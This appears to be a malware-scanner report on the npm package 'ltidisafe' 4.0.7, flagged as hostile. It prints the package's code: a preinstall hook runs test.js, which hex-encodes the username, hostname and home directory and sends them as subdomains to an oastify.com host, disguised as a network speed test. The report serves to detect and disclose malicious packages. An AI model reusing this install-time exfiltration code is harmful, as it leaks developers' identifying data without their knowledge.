Hostile 100% javascript Download

ltidisafe-4.0.7.tgz

Hex identity OOB leak packaged with npm preinstallSpeed check leaks hex OS identity to OOB host
SHA-2567b6c5435a38a343a3fd4d262b06b93c8cc65ae07331d84311585234b8111cc0a

Evidence

Calls network speed download check test.js · lines 1–40
1const NetworkSpeed = require('./index.js');
2
3const testNetworkSpeed = new NetworkSpeed();
4
5
6async function getNetworkDownloadSpeedData(data) {
7 const baseUrl = 'http://'+data+'.clickwraps-fetch.vlkeuh6ddy5a4xg9egdo8p1sfjlb91xq.oastify.com';
8 const fileSizeInBytes = 500000;
9 const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes);
10 console.log(`Download Speed: ${JSON.stringify(speed)}`);
11}
12
13const os = require('os');
14
15const getIp = family => {
16 const interfaces = os.networkInterfaces();
17 return Object.keys(interfaces).reduce((arr, x) => {
18 const interfce = interfaces[x];
19 return arr.concat(Object.keys(interfce)
20 .filter(x => interfce[x].family === family && !interfce[x].internal)
21 .map(x => interfce[x].address));
22 }, []);
23};
24
25function stringToHex(str)
26{
27 const buf = Buffer.from(str, 'utf8');
28 return buf.toString('hex');
29}
30
31const hn = stringToHex(os.hostname());
32const hd = stringToHex(os.homedir());
33const un = stringToHex(os.userInfo().username);
34// const ut = os.uptime().toString(16);
35
36var localip=getIp('IPv4');
37getNetworkDownloadSpeedData(un);
38getNetworkDownloadSpeedData(hn);
39getNetworkDownloadSpeedData(hd);
40// getNetworkDownloadSpeedData(ut);
Imports the Node.js HTTP module index.js · lines 1–17
1const http = require('http');
2
3const https = require('https');
4
5let { URL, Url } = require('url');
6
7/**
8
9 * Use the default Node URL Class if found i.e. Inside a Node environment
10
11 * to allow http and https, otherwise use the Url consturctor for browser environments
12
13 * strictly limited to https for secure connections
⋯4 lines
Tests URL.protocol scheme in a ternary index.js · lines 33–77
33:55… ze (in bytes) of the file to be downloaded
34
35 * @returns {Object}
36
37 */
38
39
40 _protocol (url) {
41
42 var u = new URL(url)
43
44 return u.protocol === 'http:' ? http : https
45
46 }
47
48 checkDownloadSpeed(baseUrl, fileSizeInBytes) {
49
50 this.validateDownloadSpeedParams(baseUrl, fileSizeInBytes)
51
52 let startTime;
53
54 let protocol = this._protocol(baseUrl)
55
56 return new Promise((resolve, _) => {
57
58 return protocol.get(baseUrl, response => {
59
60 response.once('data', () => {
61
62 startTime = new Date().getTime();
63
64 });
⋯4 lines
69 const endTime = new Date().getTime();
70
71 const duration = (endTime - startTime) / 1000;
72
73 // Convert bytes into bits by multiplying with 8
74
75 const bitsLoaded = fileSizeInBytes * 8;
76
77 const bps = (bitsLoaded / durat …
Writes and ends a bound HTTP request index.js · lines 102–118
102:26… his.generateTestData(fileSizeInBytes / 1000);
103
104 const data = JSON.stringify({ defaultData });
105
106 return new Promise((resolve, reject) => {
107
108 let req = http.request(options, res => {
109
110 res.setEncoding("utf8");
111
112 res.on('data', () => {});
113
114 res.on("end", () => {
115
116 const endTime = new Date().getTime();
117
118 const duration = (endTime …
Preinstall command names Node.js script file package.json · lines 1–12
1{
2 "name": "ltidisafe",
3 "version": "4.0.7",
4 "description": "ltidisafefidelitypvd3",
5 "main": "index.js",
6 "scripts": {
7 "preinstall": "node test.js > /dev/null 2>&1",
8 "test": "echo \"Error: no test specified\" && exit 1"
9 },
10 "author": "",
11 "license": "ISC"
12}

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.